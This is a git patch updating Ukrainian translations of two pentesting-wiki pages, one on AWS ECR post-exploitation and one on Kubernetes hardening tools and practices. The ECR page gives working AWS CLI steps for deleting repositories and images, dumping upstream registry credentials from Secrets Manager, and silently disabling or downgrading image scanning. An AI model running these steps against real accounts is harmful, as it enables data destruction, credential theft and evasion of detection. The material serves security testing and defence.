From 522ce1f0404f1611131c365435df047cdace16f1 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 17 Dec 2025 10:13:43 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/kubernetes-security/kubernetes-har --- .../aws-ecr-post-exploitation/README.md | 68 +++++-- .../kubernetes-hardening/README.md | 170 +++++++++++++----- 2 files changed, 171 insertions(+), 67 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index a04695d99..6914cd183 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -4,7 +4,7 @@ ## ECR -Для отримання додаткової інформації перегляньте +Для отримання додаткової інформації див. {{#ref}} ../../aws-services/aws-ecr-enum.md @@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Після завантаження образів ви повинні **перевірити їх на наявність чутливої інформації**: +Після завантаження образів ви повинні **перевірити їх на наявність конфіденційної інформації**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Зловмисник, який має будь-який із цих дозволів, може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь ECR repository**. Це призведе до втрати всіх контейнерних образів, збережених у репозиторії. +Зловмисник із будь‑яким із цих дозволів може **створити або змінити політику життєвого циклу, щоб видалити всі образи в репозиторії**, а потім **видалити весь ECR repository**. Це призведе до втрати всіх контейнерних образів, збережених у репозиторії. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` -### Експфільтрація upstream облікових даних реєстрів з ECR Pull‑Through Cache (PTC) +### Exfiltrate облікові дані upstream registry з ECR Pull‑Through Cache (PTC) -Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream реєстрів (Docker Hub, GHCR, ACR тощо), upstream облікові дані зберігаються в AWS Secrets Manager з передбачуваним префіксом імен: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкі права читання AWS Secrets Manager, що дозволяє експфільтрацію облікових даних та їх повторне використання поза межами AWS. +Якщо ECR Pull‑Through Cache налаштовано для автентифікованих upstream реєстрів (Docker Hub, GHCR, ACR тощо), upstream credentials зберігаються в AWS Secrets Manager з передбачуваним префіксом імені: `ecr-pullthroughcache/`. Оператори іноді надають ECR admins широкі права читання в Secrets Manager, що дозволяє credential exfiltration і повторне використання поза AWS. Вимоги - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -Перелічити потенційні секрети PTC +Перелічення кандидатських PTC секретів ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Вивантажити виявлені секрети та розпарсити поширені поля +Dump виявлених secrets і розбір поширених полів ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -119,18 +119,18 @@ done echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` Вплив -- Зчитування цих записів Secrets Manager дає повторно використовувані upstream registry credentials (username/password or token), які можуть бути використані поза AWS для pull приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions. +- Читання цих записів Secrets Manager дає повторно використовувані upstream registry credentials (username/password or token), якими можна зловживати поза AWS для завантаження приватних образів або доступу до додаткових репозиторіїв залежно від upstream permissions. -### Прихованість на рівні реєстру: вимкнути або понизити сканування через `ecr:PutRegistryScanningConfiguration` +### Прихованість на рівні реєстру: відключення або пониження сканування через `ecr:PutRegistryScanningConfiguration` -Зловмисник з правами на рівні реєстру ECR може непомітно зменшити або вимкнути автоматичне сканування вразливостей для ВСІХ репозиторіїв, встановивши registry scanning configuration в BASIC без правил scan-on-push. Це запобігає автоматичному скануванню нових push образів, приховуючи вразливі або шкідливі образи. +Атакувач з правами ECR на рівні реєстру може безшумно зменшити або вимкнути автоматичне сканування вразливостей для ALL репозиторіїв, встановивши конфігурацію сканування реєстру в BASIC без будь-яких правил scan-on-push. Це перешкоджає автоматичному скануванню нових push-операцій образів, приховуючи вразливі або шкідливі образи. Requirements - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration -- ecr:PutImageScanningConfiguration (необов'язково, для окремого репозиторію) -- ecr:DescribeImages, ecr:DescribeImageScanFindings (перевірка) +- ecr:PutImageScanningConfiguration (optional, per‑repo) +- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) Registry-wide downgrade to manual (no auto scans) ```bash @@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -Тест із repo та image +Тест з repo та image ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -Необов'язково: додатково знизити на рівні репозиторію +Необов'язково: додатково послабити на рівні репозиторію ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \ --image-scanning-configuration scanOnPush=false ``` Вплив -- Нові завантаження образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту та відтерміновує виявлення до ручного запуску сканування. +- Нові завантаження образів у реєстрі не скануються автоматично, що знижує видимість вразливого або шкідливого вмісту та відтерміновує виявлення до ініціації ручного сканування. ### Registry‑wide scanning engine downgrade via `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Зменшіть якість виявлення вразливостей по всьому реєстру, переключивши двигун сканування BASIC з дефолтного AWS_NATIVE на застарілий двигун CLAIR. Це не вимикає сканування, але може суттєво змінити результати/покриття. Поєднайте з BASIC конфігурацією сканування реєстру без правил, щоб зробити сканування лише при ручному запуску. +Зменшити якість виявлення вразливостей по всьому реєстру, переключивши движок сканування BASIC з дефолтного AWS_NATIVE на застарілий CLAIR. Це не вимикає сканування, але може істотно змінити результати/покриття. Поєднайте з конфігурацією сканування реєстру BASIC без правил, щоб зробити сканування лише ручним. Вимоги - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` -- (Optional) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` +- (Необов'язково) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Вплив -- Налаштування реєстру `BASIC_SCAN_TYPE_VERSION` встановлено в `CLAIR`, тому наступні BASIC сканування виконуватимуться з пониженим двигуном. CloudTrail записує виклик API `PutAccountSetting`. +- Параметр реєстру `BASIC_SCAN_TYPE_VERSION` встановлюється в `CLAIR`, тож наступні BASIC-сканування виконуватимуться зі зниженим двигуном. CloudTrail фіксує виклик API `PutAccountSetting`. Кроки ```bash @@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` +### Сканувати образи ECR на вразливості +```bash +#!/bin/bash + +# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images + +region= +profile= + +registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') + +# Configure docker creds +aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com + +while read -r repo; do +echo "Working on repository $repo" +digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') +if [ -z "$digest" ] +then +echo "No images! Empty repository" +continue +fi +url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest +echo "Pulling $url" +docker pull $url +echo "Scanning $url" +snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high +# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url +# echo "Removing image $url" +# docker image rm $url +done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md index d36f2bee5..f4414f748 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md @@ -6,7 +6,7 @@ ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) -Він виконує **кілька перевірок відповідності у кластері Kubernetes**. Включає підтримку для CIS, National Security Agency (NSA) та Cybersecurity and Infrastructure Security Agency (CISA) — технічного звіту з кібербезпеки для зміцнення безпеки Kubernetes. +Він виконає **кілька перевірок відповідності в кластері Kubernetes**. Включає підтримку CIS, National Security Agency (NSA) та Cybersecurity and Infrastructure Security Agency (CISA) — технічного звіту з кібербезпеки для Kubernetes hardening. ```bash # Install Steampipe brew install turbot/tap/powerpipe @@ -27,14 +27,14 @@ powerpipe server ``` ### [**Kubescape**](https://github.com/armosec/kubescape) -[**Kubescape**](https://github.com/armosec/kubescape) — це інструмент з відкритим кодом для K8s, який надає єдину панель керування для multi-cloud K8s, включаючи аналіз ризиків, перевірку відповідності вимогам безпеки, візуалізатор RBAC та сканування вразливостей образів. Kubescape сканує K8s кластери, YAML файли та HELM charts, виявляє неправильні конфігурації відповідно до кількох фреймворків (such as the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), вразливості програмного забезпечення та порушення RBAC (role-based-access-control) на ранніх етапах конвеєра CI/CD, миттєво обчислює оцінку ризику та показує тенденції ризику з часом. +[**Kubescape**](https://github.com/armosec/kubescape) — це open-source інструмент для K8s, який надає multi-cloud єдину панель управління для K8s, включаючи аналіз ризиків, перевірку відповідності безпеці, візуалізатор RBAC та сканування вразливостей образів. Kubescape сканує K8s кластери, YAML файли та HELM charts, виявляє неправильні конфігурації відповідно до кількох фреймворків (таких як the [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), програмні вразливості та порушення RBAC (role-based-access-control) на ранніх стадіях CI/CD pipeline, миттєво обчислює оцінку ризику і показує тенденції ризику з часом. ```bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash kubescape scan --verbose ``` ### [**Popeye**](https://github.com/derailed/popeye) -[**Popeye**](https://github.com/derailed/popeye) — утиліта, яка сканує живий Kubernetes cluster і **повідомляє про потенційні проблеми з розгорнутими ресурсами та конфігураціями**. Вона очищує ваш кластер, орієнтуючись на те, що розгорнуто, а не на те, що лежить на диску. Скануючи кластер, вона виявляє некоректні налаштування і допомагає забезпечити дотримання найкращих практик, запобігаючи майбутнім проблемам. Мета — зменшити когнітивне \_over_load, з яким стикаються при роботі з Kubernetes у реальному середовищі. Крім того, якщо ваш кластер використовує metric-server, вона повідомляє про можливе over/under виділення ресурсів і намагається попередити вас, якщо в кластері закінчується capacity. +[**Popeye**](https://github.com/derailed/popeye) — це утиліта, яка сканує живий Kubernetes-кластер і **повідомляє про потенційні проблеми з розгорнутими ресурсами та конфігураціями**. Вона очищує ваш кластер, орієнтуючись на те, що розгорнуто, а не на те, що лежить на диску. Скануючи кластер, вона виявляє неправильні налаштування і допомагає забезпечити впровадження best practices, тим самим запобігаючи майбутнім проблемам. Мета — зменшити когнітивне \_перевантаження, з яким стикаються при керуванні Kubernetes-кластером у реальних умовах. Крім того, якщо у вашому кластері працює metric-server, інструмент повідомляє про потенційні надлишкові/недостатні виділення ресурсів і намагатиметься попередити вас, якщо ваш кластер вичерпає потужності. ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) @@ -58,18 +58,18 @@ kubeaudit all ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) -**[DEPRECATED]** Інструмент [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) виявляє вразливості безпеки в кластерах Kubernetes. Інструмент був розроблений, щоб підвищити обізнаність та видимість проблем безпеки в середовищах Kubernetes. +**[ЗАСТАРІЛО]** Інструмент [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) шукає вразливості безпеки в кластерах Kubernetes. Інструмент був розроблений для підвищення обізнаності та видимості проблем безпеки в середовищах Kubernetes. ```bash kube-hunter --remote some.node.com ``` ### [Trivy](https://github.com/aquasecurity/trivy) -[Trivy](https://github.com/aquasecurity/trivy) має сканери, які шукають проблеми з безпекою, та цілі, у яких вони можуть знайти ці проблеми: +[Trivy](https://github.com/aquasecurity/trivy) має сканери, які шукають проблеми безпеки та цілі, де їх можна виявити: -- образ контейнера -- файлова система -- Git Repository (remote) -- образ віртуальної машини +- Образ контейнера +- Файлова система +- Git-репозиторій (віддалений) +- Образ віртуальної машини - Kubernetes @@ -77,46 +77,46 @@ kube-hunter --remote some.node.com **[Схоже, не підтримується]** -[**Kubei**](https://github.com/Erezf-p/kubei) — інструмент сканування вразливостей і для перевірки за CIS Docker benchmark, який дозволяє користувачам отримати точну та негайну оцінку ризику їхніх Kubernetes кластерів. Kubei сканує всі образи, які використовуються в Kubernetes кластері, включно з образами application pods і system pods. +[**Kubei**](https://github.com/Erezf-p/kubei) — інструмент сканування вразливостей та CIS Docker benchmark, який дозволяє користувачам отримати точну й оперативну оцінку ризиків їхніх Kubernetes кластерів. Kubei сканує всі образи, що використовуються в Kubernetes-кластері, включно з образами application pods та system pods. ### [**KubiScan**](https://github.com/cyberark/KubiScan) -[**KubiScan**](https://github.com/cyberark/KubiScan) — інструмент для сканування Kubernetes кластера на наявність ризикових дозволів у моделі авторизації Role-based access control (RBAC). +[**KubiScan**](https://github.com/cyberark/KubiScan) — інструмент для сканування Kubernetes-кластера на предмет ризикованих дозволів у моделі авторизації Role-based access control (RBAC) Kubernetes. ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) -[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) — інструмент, створений для виконання інших типів високоризикових перевірок порівняно з іншими інструментами. Він має 3 основні режими: +[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) — інструмент, створений для виконання інших типів перевірок високого ризику порівняно з іншими інструментами. Він має в основному 3 режими: -- **`find-role-relationships`**: який знайде, які AWS ролі виконуються в яких подах -- **`find-secrets`**: який намагається ідентифікувати секрети в K8s ресурсах, таких як Pods, ConfigMaps та Secrets. -- **`test-imds-access`**: який спробує запустити поди й отримати доступ до metadata v1 та v2. УВАГА: це запустить под у кластері, будьте дуже обережні, бо можливо ви не захочете цього робити! +- **`find-role-relationships`**: Знаходить, які AWS roles запущені в яких pods +- **`find-secrets`**: Спроба ідентифікувати secrets у ресурсах K8s, таких як Pods, ConfigMaps і Secrets. +- **`test-imds-access`**: Спроба запустити pods і отримати доступ до metadata v1 та v2. УВАГА: це запустить pod у кластері — будьте дуже обережні, можливо ви не захочете цього робити! -## **Audit IaC Code** +## **Аудит IaC-коду** ### [**KICS**](https://github.com/Checkmarx/kics) -[**KICS**](https://github.com/Checkmarx/kics) знаходить **вразливості безпеки**, проблеми відповідності та невірні налаштування інфраструктури у наступних **Infrastructure as Code рішеннях**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM та OpenAPI 3.0 specifications +[**KICS**](https://github.com/Checkmarx/kics) виявляє вразливості безпеки, проблеми з відповідністю та некоректні налаштування інфраструктури в наступних рішеннях Infrastructure as Code: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM та специфікаціях OpenAPI 3.0. ### [**Checkov**](https://github.com/bridgecrewio/checkov) [**Checkov**](https://github.com/bridgecrewio/checkov) — інструмент статичного аналізу коду для infrastructure-as-code. -Він сканує хмарну інфраструктуру, забезпечену за допомогою [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) або [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) і виявляє проблеми безпеки та відповідності, використовуючи граф-орієнтоване сканування. +Він сканує хмарну інфраструктуру, створену за допомогою [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) або [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) і виявляє проблеми безпеки та невідповідності, використовуючи графове сканування. ### [**Kube-score**](https://github.com/zegl/kube-score) -[**kube-score**](https://github.com/zegl/kube-score) — інструмент, який виконує статичний аналіз ваших Kubernetes object definitions. +[**kube-score**](https://github.com/zegl/kube-score) — інструмент, що виконує статичний аналіз визначень об'єктів Kubernetes. -To install: +Щоб встановити: -| Розподіл | Команда / Посилання | -| -------------------------------------------------- | ---------------------------------------------------------------------------------------- | -| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | -| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | -| Homebrew (macOS and Linux) | `brew install kube-score` | -| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` | +| Дистрибуція | Команда / Посилання | +| ------------------------------------------------- | ----------------------------------------------------------------------------------------- | +| Готові бінарні файли для macOS, Linux та Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | +| Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | +| Homebrew (macOS and Linux) | `brew install kube-score` | +| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux)| `kubectl krew install score` | -## Tools to analyze YAML files & Helm Charts +## Інструменти для аналізу YAML-файлів та Helm Charts ### [**Kube-linter**](https://github.com/stackrox/kube-linter) ```bash @@ -162,11 +162,83 @@ helm template chart /path/to/chart \ --set 'config.urls[0]=https://dummy.backend.internal' \ | kubesec scan - ``` +## Сканування проблем залежностей + +### Сканування образів +```bash +#!/bin/bash +export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq) +echo "All images found: $images" +echo "" +echo "" +for image in $images; do +# Run trivy scan and save JSON output +trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1 +# Extract binary targets that have vulnerabilities +binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json) +if [ -n "$binaries" ]; then +echo "- **Image:** $image" +while IFS= read -r binary; do +echo " - **Binary:** $binary" +jq -r --arg target "$binary" ' +.Results[] | select(.Target == $target) | .Vulnerabilities[] | +" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)." +' /tmp/result.json +done <<< "$binaries" +echo "" +echo "" +echo "" +fi +done +``` +### Сканування Helm charts +```bash +#!/bin/bash +# scan-helm-charts.sh +# This script lists all Helm releases, renders their manifests, +# and then scans each manifest with Trivy for configuration issues. + +# Check that jq is installed +if ! command -v jq &>/dev/null; then +echo "jq is required but not installed. Please install jq and rerun." +exit 1 +fi + +# List all helm releases and extract namespace and release name +echo "Listing Helm releases..." +helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt + +# Check if any releases were found +if [ ! -s helm_releases.txt ]; then +echo "No Helm releases found." +exit 0 +fi + +# Loop through each Helm release and scan its rendered manifest +while IFS=" " read -r namespace release; do +echo "---------------------------------------------" +echo "Scanning Helm release '$release' in namespace '$namespace'..." +# Render the Helm chart manifest +manifest_file="${release}-manifest.yaml" +helm get manifest "$release" -n "$namespace" > "$manifest_file" +if [ $? -ne 0 ]; then +echo "Failed to get manifest for $release in $namespace. Skipping." +continue +fi +# Scan the manifest with Trivy (configuration scan) +echo "Running Trivy config scan on $manifest_file..." +trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file" +echo "Completed scan for $release." +done < helm_releases.txt + +echo "---------------------------------------------" +echo "Helm chart scanning complete." +``` ## Поради -### Kubernetes PodSecurityContext and SecurityContext +### Kubernetes PodSecurityContext та SecurityContext -Ви можете налаштувати **контекст безпеки Pods** (через _PodSecurityContext_) та **контекст безпеки контейнерів**, які будуть запускатися (через _SecurityContext_). Для додаткової інформації прочитайте: +Ви можете налаштувати **security context of the Pods** (через _PodSecurityContext_) і **контейнерів**, які будуть запускатися (через _SecurityContext_). Для детальнішої інформації читайте: {{#ref}} kubernetes-securitycontext-s.md @@ -174,29 +246,29 @@ kubernetes-securitycontext-s.md ### Kubernetes API Hardening -Дуже важливо **захищати доступ до Kubernetes Api Server**, оскільки зловмисник з достатніми привілеями може зловживати ним і завдати значної шкоди середовищу.\ -Важливо захистити як **доступ** (**whitelist** origins для доступу до API Server і відхиляти будь-які інші з’єднання), так і [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (дотримуючись принципу **найменших** **привілеїв**). І однозначно **ніколи** **не** **дозволяйте** **anonymous** **requests**. +Дуже важливо **захистити доступ до Kubernetes Api Server**, оскільки зловмисник з достатніми привілеями може зловживати ним і завдати великої шкоди середовищу.\ +Важливо захистити як **доступ** (**whitelist** origins для доступу до API Server і відмовляти в будь-яких інших підключеннях), так і [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (дотримуючись принципу **найменших** **привілеїв**). І однозначно **ніколи** **не** **дозволяйте** **anonymous** **requests**. -**Загальний процес запиту:**\ -Користувач або K8s ServiceAccount –> Аутентифікація –> Авторизація –> Admission Control. +**Common Request process:**\ +User or K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. **Поради**: - Закрийте порти. -- Уникати анонімного доступу. -- NodeRestriction; Заборона доступу з певних вузлів до API. +- Уникайте анонімного доступу. +- NodeRestriction; Заборона доступу до API з певних вузлів. - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) -- По суті, забороняє kubelets додавати/видаляти/оновлювати мітки з префіксом node-restriction.kubernetes.io/. Цей префікс міток резервується для адміністраторів для маркування їхніх об'єктів Node з метою ізоляції робочих навантажень, і kubelets не матимуть права змінювати мітки з цим префіксом. +- В основному перешкоджає kubelets додавати/видаляти/оновлювати мітки з префіксом node-restriction.kubernetes.io/. Цей префікс мітки зарезервований для адміністраторів, щоб маркувати їхні об'єкти Node з метою ізоляції робочих навантажень, і kubelets не матимуть права змінювати мітки з цим префіксом. - А також дозволяє kubelets додавати/видаляти/оновлювати ці мітки та префікси міток. - Забезпечте безпечну ізоляцію робочих навантажень за допомогою міток. -- Запобігайте доступу певних Pod до API. -- Уникайте виставлення ApiServer в інтернет. -- Уникайте неавторизованого доступу через RBAC. -- Захистіть порт ApiServer за допомогою firewall та IP whitelisting. +- Заблокуйте доступ до API для певних Pod. +- Уникайте експонування ApiServer в інтернет. +- Запобігайте неавторизованому доступу через RBAC. +- Захищайте порт ApiServer за допомогою міжмережевого екрану (firewall) та білого списку IP. ### SecurityContext Hardening -За замовчуванням при запуску Pod буде використовуватись користувач root, якщо не вказано іншого користувача. Ви можете запускати ваш додаток у більш безпечному контексті, використовуючи шаблон, подібний до наступного: +За замовчуванням при запуску Pod використовуватиметься root-користувач, якщо не вказано іншого користувача. Ви можете запускати свій застосунок у більш захищеному контексті, використовуючи шаблон, схожий на наступний: ```yaml apiVersion: v1 kind: Pod @@ -227,18 +299,18 @@ allowPrivilegeEscalation: true ### Загальне підсилення безпеки -Ви повинні оновлювати ваше середовище Kubernetes так часто, як необхідно, щоб мати: +Ви повинні оновлювати ваше середовище Kubernetes настільки часто, наскільки це необхідно, щоб мати: - Оновлені залежності. - Виправлення помилок та патчі безпеки. [**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Кожні 3 місяці виходить новий мінорний реліз -- 1.20.3 = 1(Major).20(Minor).3(patch) -**Найкращий спосіб оновити кластер Kubernetes (з** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** +**Найкращий спосіб оновити Kubernetes Cluster (з** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** -- Оновіть компоненти Master Node у такій послідовності: -- etcd (всі екземпляри). -- kube-apiserver (усі хости control plane). +- Оновіть компоненти Master Node у такому порядку: +- etcd (усі інстанси). +- kube-apiserver (всі хости контрольної площини). - kube-controller-manager. - kube-scheduler. - cloud controller manager, якщо ви його використовуєте. @@ -247,8 +319,8 @@ allowPrivilegeEscalation: true ## Моніторинг та безпека Kubernetes: - Kyverno Policy Engine -- Cilium Tetragon - спостережливість безпеки та runtime-забезпечення на базі eBPF -- Політики мережевої безпеки -- Falco - моніторинг безпеки в runtime та виявлення +- Cilium Tetragon — спостережливість безпеки та виконання політик у runtime на основі eBPF +- Мережеві політики безпеки +- Falco — runtime-моніторинг безпеки та виявлення {{#include ../../../banners/hacktricks-training.md}}